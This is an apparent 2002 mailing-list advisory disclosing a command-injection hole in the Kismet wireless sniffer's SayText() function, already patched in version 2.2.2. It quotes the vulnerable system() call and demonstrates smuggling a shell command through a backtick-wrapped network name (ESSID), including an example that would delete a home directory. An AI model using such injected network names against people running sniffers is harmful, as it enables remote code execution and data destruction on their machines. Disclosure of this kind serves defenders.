New Kismet Packages available - SayText() and suid kismet_server issues

[KF <dotslash () snosoft com>]

I have discovered 2 potentially exploitable holes in the wireless 
sniffer package Kismet. Both issues have been addressed by the author. I 
am in the process of determining if the local command line overflow is 
exploitable or not. The other issue may be dependant on if your OS will 
allow you to specify an essid containing a backtick or a pipe char.

http://www.kismetwireless.net/CHANGELOG

May 28 2002  2.2.2  !! 2.2.2 released - fixes potentially exploitable remote
                      hole in Festival saytext. !!
May 27 2002  2.2.1  !! 2.2.1 released - potentially exploitable local root
                      hole fixed !!

http://www.kismetwireless.net/code/kismet-2.2.2.tar.gz
http://www.kismetwireless.net/code/kismet-2.2.2.diff
Possible remote code execution via SayText() function of Kismet wireless 
> >>sniffer
> >>If your OS allows essids to contain ` or | and it allows you to broadcast 
> >>them... then this could be used to help abuse someones wireless sniffer.
> >>
> >>Kismet does the following
> >>
> >>// Fork and run a system call to play a sound
> >>void SayText(string player, string text) {
> >>   char snd_call[1024];
> >>
> >>   snprintf(snd_call, 1024, "echo '(SayText \"%s\")' | %s &", 
> >>   text.c_str(),
> >>            player.c_str());
> >>
> >>   if (system(snd_call) < 0) {
> >>        ...
> >>
> >>so if my network name is `/bin/sh -c rm -rf ~` then thats a problem
> >>
> >>This function is called in 2 places.... 
> >>
> >>./kismet_server.cc:    snprintf(snd_call, 1024, "echo '(SayText \"%s\")' 
> >>| %s &", text.c_str(),
> >>./kismet_server.cc:                    SayText(festival, text);
> >>./kismet_curses.cc:void SayText(string player, string text) {
> >>./kismet_curses.cc:    snprintf(snd_call, 1024, "echo '(SayText \"%s\")' 
> >>| %s >/dev/null 2>/dev/null &", text.c_str(),
> >>./kismet_curses.cc:                    SayText(festival, text);
> >>
> >>My linux box appears to be able to supply an essid with a backtick 
> >>[root@localhost <mailto:root@localhost> root]# iwconfig eth0 essid "\`/bin/sh -c id\`"
> >>[root@localhost <mailto:root@localhost> root]# iwconfig eth0
> >>eth0      IEEE 802.11-DS  ESSID:"`/bin/sh -c id`"  Nickname:"Prism  I"
> >>         Mode:Managed  Frequency:42.9497GHz  Access Point: 
> >>         44:44:44:44:44:44
> >>         Bit Rate:2Mb/s   Tx-Power=15 dBm   Sensitivity:1/3
> >>         Retry min limit:8   RTS thr:off   Fragment thr:off
> >>         Encryption key:off
> >>         Power Management:off
> >>
> >>
> >>This is to proove the theory... I think since iwconfig lets it happen 
> >>above this is a valid test. My apple base station would NOT allow ` or |  
> >>in its network name so this is all I can do to test this theory.
> >>
> >>in kismet_server.c make the following change. 
> >>
> >>        snprintf(text, 100, "New %s network '%s' detected.",
> >>                            (info.wep ? "En-crypted" : "Un-en-crypted"),
> >>                            //info.ssid);
> >>                            "`/bin/sh -c id`");
> >>
> >>upon firing up the server I was greeted by festival in a british accent 
> >>saying "U I D equals zero G I D equals zero ..." once I dectected a valid 
> >>network. 
> >>again this would require you to create a valid packet with the info.ssid 
> >>set to your command enclosed in backticks. Above I forced this data... 
> >>
> >>This could be a nice form of reverse warfare for "Wardrivers" using 
> >>kismet. have fun
> >>
> >>


-KF